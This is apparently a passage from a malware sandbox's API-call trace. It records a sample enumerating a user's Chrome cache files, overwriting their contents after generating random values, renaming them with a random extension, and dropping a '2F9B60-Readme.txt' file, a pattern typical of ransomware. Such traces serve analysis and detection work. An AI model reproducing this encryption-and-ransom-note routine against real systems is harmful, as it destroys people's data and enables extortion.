ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1 [0219.907] wcscmp (_String1="data_0", _String2=".") returned 1 [0219.907] wcscmp (_String1="data_0", _String2="..") returned 1 [0219.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431ec720 [0219.908] wcscpy (in: _Dest=0x431ec720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0219.908] wcscat (in: _Dest=0x431ec720, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0219.908] wcscat (in: _Dest=0x431ec720, _Source="data_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" [0219.908] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0")) returned 0x2020 [0219.937] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0", dwFileAttributes=0x20) returned 1 [0224.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d4 [0224.528] GetFileSizeEx (in: hFile=0x15d4, lpFileSize=0x2179fa10 | out: lpFileSize=0x2179fa10*=45056) returned 1 [0224.528] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0xaffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.528] ReadFile (in: hFile=0x15d4, lpBuffer=0x2179f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2179f9d8, lpOverlapped=0x0 | out: lpBuffer=0x2179f990*, lpNumberOfBytesRead=0x2179f9d8*=0x4, lpOverlapped=0x0) returned 1 [0224.529] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0224.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0224.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0224.530] NtQuerySystemTime (in: CurrentTime=0x2179f8d0 | out: CurrentTime=0x2179f8d0*=132462178285162000) returned 0x0 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x62875196 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x5d8529a9 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x5e72e77f [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x1521856c [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0xd07ed49 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x23d22515 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x6a8d219b [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x368c2245 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x3a49e29 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x6dfdf193 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x3e6ce0e1 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0xd17214f [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x3c251934 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x779125a4 [0224.530] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x5504307f [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x14caf67b [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x745f56d2 [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x20da11fd [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x193a7676 [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x6a46b742 [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x47c59c78 [0224.548] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x731e7824 [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x573fb68f [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x331e46ea [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x7396da1b [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x5792fa6e [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x18750584 [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x1a123c70 [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0xf7b5112 [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x5604f811 [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x7d85c486 [0224.549] RtlRandomEx (in: Seed=0x2179f8c0 | out: Seed=0x2179f8c0) returned 0x53b3a8ba [0224.559] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.559] ReadFile (in: hFile=0x15d4, lpBuffer=0x41cd3cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2179f930, lpOverlapped=0x0 | out: lpBuffer=0x41cd3cc0*, lpNumberOfBytesRead=0x2179f930*=0x3c00, lpOverlapped=0x0) returned 1 [0224.589] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0224.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0224.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0224.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262420) returned 1 [0224.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cdf0f0 [0224.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0224.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0224.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0224.594] WriteFile (in: hFile=0x15d4, lpBuffer=0x41cdf0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2179f930, lpOverlapped=0x0 | out: lpBuffer=0x41cdf0f0*, lpNumberOfBytesWritten=0x2179f930*=0x3c00, lpOverlapped=0x0) returned 1 [0225.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cdf0f0) returned 1 [0225.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd3cc0) returned 1 [0225.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85ffa0 [0225.081] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0225.081] WriteFile (in: hFile=0x15d4, lpBuffer=0x431a93e0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2179f9e0, lpOverlapped=0x0 | out: lpBuffer=0x431a93e0*, lpNumberOfBytesWritten=0x2179f9e0*=0xfe, lpOverlapped=0x0) returned 1 [0225.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2240 [0225.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0225.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a540 [0225.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a540) returned 1 [0225.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0225.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a540 [0225.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b0b0 [0225.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b0b0) returned 1 [0225.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0225.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0225.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x1b82b0b0 [0225.511] sprintf (in: _Dest=0x1b82b0b0, _Format="%c%c" | out: _Dest="87") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0b2, _Format="%c%c" | out: _Dest="39") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0b4, _Format="%c%c" | out: _Dest="9d") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0b6, _Format="%c%c" | out: _Dest="35") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0b8, _Format="%c%c" | out: _Dest="1d") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0ba, _Format="%c%c" | out: _Dest="a6") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0bc, _Format="%c%c" | out: _Dest="7e") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0be, _Format="%c%c" | out: _Dest="28") returned 2 [0225.511] sprintf (in: _Dest=0x1b82b0c0, _Format="%c%c" | out: _Dest="ed") returned 2 [0225.512] sprintf (in: _Dest=0x1b82b0c2, _Format="%c%c" | out: _Dest="32") returned 2 [0225.512] sprintf (in: _Dest=0x1b82b0c4, _Format="%c%c" | out: _Dest="a2") returned 2 [0225.512] sprintf (in: _Dest=0x1b82b0c6, _Format="%c%c" | out: _Dest="1f") returned 2 [0225.512] RtlInitAnsiString (in: DestinationString=0x2179fa58, SourceString="87399d351da67e28ed32a21f" | out: DestinationString="87399d351da67e28ed32a21f") [0225.512] RtlAnsiStringToUnicodeString (in: DestinationString=0x2179fa28, SourceString="87399d351da67e28ed32a21f", AllocateDestinationString=1 | out: DestinationString="87399d351da67e28ed32a21f") returned 0x0 [0225.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ac8e0 [0225.513] wcscat (in: _Dest=0x43113350, _Source="87399d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\87399d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\87399d" [0225.513] wcscat (in: _Dest=0x43113350, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\87399d.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\87399d.2f9b60" [0225.513] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\87399d.2f9b60", NtPathName=0x2179fa00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\87399d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b798da0 [0225.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 [0225.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074fe0) returned 1 [0225.936] NtQueryInformationFile (in: FileHandle=0x15d4, IoStatusBlock=0x2179fa68, FileInformation=0x2179fa78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2179fa68, FileInformation=0x2179fa78) returned 0x0 [0225.937] NtSetInformationFile (FileHandle=0x15d4, IoStatusBlock=0x2179fa68, FileInformation=0x2179fa78, Length=0x28, FileInformationClass=0x4) returned 0x0 [0226.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43113350) returned 1 [0226.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ac8e0) returned 1 [0226.350] FlushFileBuffers (hFile=0x15d4) returned 1 [0226.353] CloseHandle (hObject=0x15d4) returned 1 [0226.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1ced0c80 [0226.846] wcscpy (in: _Dest=0x1ced0c80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0226.846] wcscat (in: _Dest=0x1ced0c80, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\2F9B60-Readme.txt" [0226.846] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\2f9b60-readme.txt")) returned 0xffffffff [0226.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0237.801] WriteFile (in: hFile=0x548, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2179f920, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2179f920*=0xba9, lpOverlapped=0x0) returned 1 [0240.088] CloseHandle (hObject=0x548) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0c80) returned 1 [0243.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ec720) returned 1 [0243.991] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1 [0243.991] wcscmp (_String1="data_1", _String2=".") returned 1 [0243.991] wcscmp (_String1="data_1", _String2="..") returned 1 [0243.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431ec720 [0243.992] wcscpy (in: _Dest=0x431ec720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0243.992] wcscat (in: _Dest=0x431ec720, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0243.992] wcscat (in: _Dest=0x431ec720, _Source="data_1" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" [0243.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431ec720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2528 [0244.065] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1 [0244.065] wcscmp (_String1="data_2", _String2=".") returned 1 [0244.065] wcscmp (_String1="data_2", _String2="..") returned 1 [0244.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1079c0 [0244.066] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0244.066] wcscat (in: _Dest=0x1079c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0244.066] wcscat (in: _Dest=0x1079c0, _Source="data_2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" [0244.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1079c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c0 [0244.097] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x402000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1 [0244.097] wcscmp (_String1="data_3", _String2=".") returned 1 [0244.097] wcscmp (_String1="data_3", _String2="..") returned 1 [0244.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106f40 [0244.097] wcscpy (in: _Dest=0x106f40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0244.097] wcscat (in: _Dest=0x106f40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0244.097] wcscat (in: _Dest=0x106f40, _Source="data_3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" [0244.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2928 [0244.112] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0244.112] wcscmp (_String1="index", _String2=".") returned 1 [0244.112] wcscmp (_String1="index", _String2="..") returned 1 [0244.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x43128ea0 [0244.112] wcscpy (in: _Dest=0x43128ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0244.112] wcscat (in: _Dest=0x43128ea0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" [0244.112] wcscat (in: _Dest=0x43128ea0, _Source="index" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" [0244.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43128ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54 [0244.125] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 0 [0244.125] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0244.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e200) returned 1 [0244.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4930) returned 1 [0244.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18080) returned 1 [0244.128] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0244.128] wcscmp (_String1="Cookies", _String2=".") returned 1 [0244.128] wcscmp (_String1="Cookies", _String2="..") returned 1 [0244.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce18080 [0244.128] wcscpy (in: _Dest=0x1ce18080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.128] wcscat (in: _Dest=0x1ce18080, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS 